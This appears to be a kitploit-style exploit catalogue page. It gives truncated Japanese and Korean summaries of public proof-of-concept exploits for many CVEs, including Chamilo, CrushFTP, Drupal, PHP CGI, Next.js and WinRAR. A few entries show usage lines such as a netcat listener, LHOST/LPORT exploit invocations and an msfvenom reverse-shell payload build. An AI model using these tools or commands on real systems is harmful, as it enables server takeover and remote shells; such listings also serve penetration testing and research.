CVE-2024-50507

CVE-2024-50507 DS.DownloadList = 1.3 - 認証不要のPHPオブジェクトインジェクション 説明...

Chamilo-LMS-CVE-2023-4220-Exploit

Chamilo LMS CVE-2023-4220 익스플로잇 개요 이 스크립트는 Chamilo LMS 버전 ≤ v1.11.24 에서 원격 코드 실행RCE 취약점을 악용합니다. CVE-2023-4220으로 알려진 이 취약점은 Chamilo LMS의 bigUpload.php 기능에서 파일 업로드 제한이 없기 때문에 발생하며, 공격자가 임의의 파일예: 웹 셸을 업로드하고 실행하여 서버에서 완전한 원격 코드 실행을 유발할 수 있습니다. 이 스크립트는 Divine Clown 에 의해 개선되어 공격 과정을 단순화하고, 자동으로 리버스 셸 파...

Webmin-CVE-2019-15107

Webmin-CVE-2019-15107 Webmin CVE-2019-15107 원격 코드 실행 PoC...

CVE-2020-36842

CVE-2020-36842 CVE-2020-36842 - WPvividプラグインの任意ファイルアップロード脆弱性 概要 CVE ID: CVE-2020-36842 開示/更新日: 2024年10月16日 影響を受けるプラグイン: WPvivid - 移行、バックアップ、ステージング 影響を受けるバージョン: 0.9.35 まで 脆弱性タイプ: 任意ファイルアップロード＆展開 必要な権限: 認証ユーザー（購読者以上） 説明 WPvivid...

CVE-2024-4040

CVE-2024-4040 PoC CVE-2024-4040에 대한 Python 익스플로잇 설명 CrushFTP의 모든 버전10.7.1 및 11.1.0 미만에서 발견된 서버 사이드 템플릿 인젝션 취약점으로, 모든 플랫폼에서 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에 접근하여 파일을 읽고, 인증을 우회하여 관리자 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 옵션 root@kitploit: -h --help Show this screen. -t --target Specify target U...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSSからRCEへのエクスプロイト 概要 これらのスクリプトは、WonderCMS 4.3.2 のXSS（クロスサイトスクリプティング）脆弱性を悪用して、リモートコード実行（RCE） を達成します。XSSペイロードが管理者によってトリガーされると、細工された悪意のあるテーマモジュールを利用して、ターゲットサーバーにリバースシェルを自動的にインストールします。リバースシェルは revshells.com から取得され、実行されることで攻撃者にサーバーへのリモートアクセスを提供します。 目次 前提条件 スクリプト1: 自動エクスプロイト 特徴 使用法...

CVE-2019-5029

CVE-2019-5029 これはCVE-2019-5029のPythonスクリプトPoCです。Exhibitor Web UI 1.7.1のRCEです。 使い方 このリポジトリをクローンします git clone https://github.com/yZ1337/CVE-2019-5029.git 次のように実行します python3 CVE-2019-5029.py スクリプト内のリクエストがConfigのリクエストと同じであることを確認してください。...

CVE-2024-52375

WordPress Datasets Manager 💥 エクスプロイト作成者: Nxploit Khaled Alenazi 📅 CVE 公開日: 2024年11月14日 🧠 CVSS スコア: 10.0 Critical 🛠 CWE-434: 危険なタイプのファイルの無制限アップロード 📌 概要 Arttia Creative 製 Datasets Manager WordPress プラグインに、バージョン1.5以下 のすべてのバージョンに影響する重大な脆弱性が発見されました。 このプラグインはアップロード処理中にファイルタイプを適切に検証しないため、認証されていない攻撃者が PH...

CVE-2024-10571

CVE-2024-10571 Chartify – WordPress 차트 플러그인 = 2.9.5 - 인증되지 않은 로컬 파일 포함 source 매개변수 설명 WordPress용 Chartify – WordPress 차트 플러그인 플러그인은 'source' 매개변수를 통해 2.9.5를 포함한 모든 버전에서 로컬 파일 포함 취약점에 영향을 받습니다. 이를 통해 인증되지 않은 공격자가 서버에 있는 임의의 파일을 포함 및 실행할 수 있어, 해당 파일의 PHP 코드를 실행할 수 있습니다. 이는 접근 제어를 우회하고 민감한 데이터를 얻거나,...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646을 위한 파이썬 RCE 익스플로잇 사용법 리스너 시작하기 root@kitploit: nc -lvnp 익스플로잇 실행 root@kitploit: python3 CVE-2023-38646.py -u -l -p 도움말 root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help messag...

CVE-2014-7205

Bassmaster NodeJS 플러그인 RCE PoC bassmaster-rce.py: CVE-2014-7205를 악용하는 Python 스크립트입니다. nodeshell.py: NodeJS용 리버스 셸을 생성하는 Python 모듈입니다. !!테스트 권한이 있는 서버에만 사용하세요 요약 CVE-2014-7205는 NodeJS용 Bassmaster 플러그인에서 발생하는 원격 코드 실행 취약점입니다. 모든 버전 = 1.5.1이 영향을 받습니다. 이 취약점은 lib/batch.js 파일의 internals.batch 함수 내부에...

drupalgeddon2

drupalgeddon2 CVE-2018-7600 のエクスプロイト。 使用法: drupalgeddon2 options root@kitploit: -h: URL ターゲット -c: OS コマンド 例: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' https://github.com/FireFart/CVE-2018-7600 に基づく。...

CVE-2023-27524-POC

CVE-2023-27524: Apache Superset 認証バイパス Apache Superset サーバーが CVE-2023-27524 に対して脆弱かどうかをチェックし、脆弱な場合に userid = 1（通常は admin ユーザー）のセッションクッキーを偽造して、認証バイパスを可能にし、ダッシュボードへのアクセスを取得するスクリプトです。現在、世界中で約 3000 台のサーバーが Apache Superset を実行しています。 使用方法 root@kitploit: usage: python3 CVE-2023-27524.py --url URL 基本例...

CVE-2021-46363

CVE-2021-46363: Magnolia CMSにおける数式インジェクション Magnolia v6.2.3以前のExport機能における問題により、攻撃者は巧妙に細工されたCSV/XLSファイルを介して数式インジェクション攻撃を実行できます。これらの数式は、Microsoft Excelでエクスポートされたファイルを開いた際に、被害者のコンピュータ上で任意のコード実行を引き起こす可能性があります。 ベンダー開示情報: この脆弱性に関するベンダーの開示情報と修正はこちらで確認できます。 要件: この脆弱性の悪用には以下が必要です: 有効なユーザー資格情報 概念実証（PoC）:...

CVE-2024-4577-Exploit

CVE-2024-4577 エクスプロイト Windows 環境で動作する脆弱性のある PHP バージョンに対してリモートコード実行 RCE を達成する、PHP CGI 引数インジェクション脆弱性 CVE-2024-4577 のエクスプロイトです。Orange Tsai によって発見されました。詳細については、DEVCORE のブログ を参照してください。 必要条件 使用言語 = Python3 使用モジュール/パッケージ： random string requests warnings datetime optparse colorama multiprocessing time...

POC-CVE-2025-55182

CVE-2025-55182 高度なスキャナー CVE-2025-55182 向けのフル機能の悪用ユーティリティ — Next.js の React Server Components を介したリモートコード実行。 このスキャナーはマルチパートペイロードを自動的に生成し、process.mainModule.require'childprocess'.execSync を悪用して、脆弱なインスタンス上で任意の OS コマンド実行を実現します。 機能 ペイロード自動生成 — 手動エンコード不要 クリーンな STDOUT 抽出を伴うコマンド実行 プロトコルの自動検出（欠けている場合は...

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail...

CVE-2019-16113

Bludit 3.9.2 - リモートコマンド実行 - CVE-2019-16113 このエクスプロイトは、Bludit CMS 3.9.2 の2つの脆弱性を組み合わせて、ターゲットシステム上でリモートコード実行を実現します。 元のエクスプロイトは CVE-2019-17240 と CVE-2019-16113 です。 特徴 ブルートフォースパスワード + RCE ブルートフォースユーザー名:パスワード + RCE 再現方法 Bludit 3.9.2 CMS をセットアップ ログイン情報を設定 エクスプロイトを実行: root@kitploit: python3 poc.py...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 は、laravel-admin v1.8.19における任意のファイルアップロードの脆弱性です。このProof of Conceptは、この脆弱性を悪用してWebシェルをアップロードします。 このエクスプロイトは、HackTheBoxのイージーマシン Usage に対して使用するために作成されました。 使用例 root@kitploit: python3 CVE-2023-24249.py + Web shell uploaded to...

CVE-2018-20250

セットアップ ビデオデモ: https://youtu.be/5tuWsi1tGS0 VirtualBox マシン: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit 実行手順 Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit: git clone...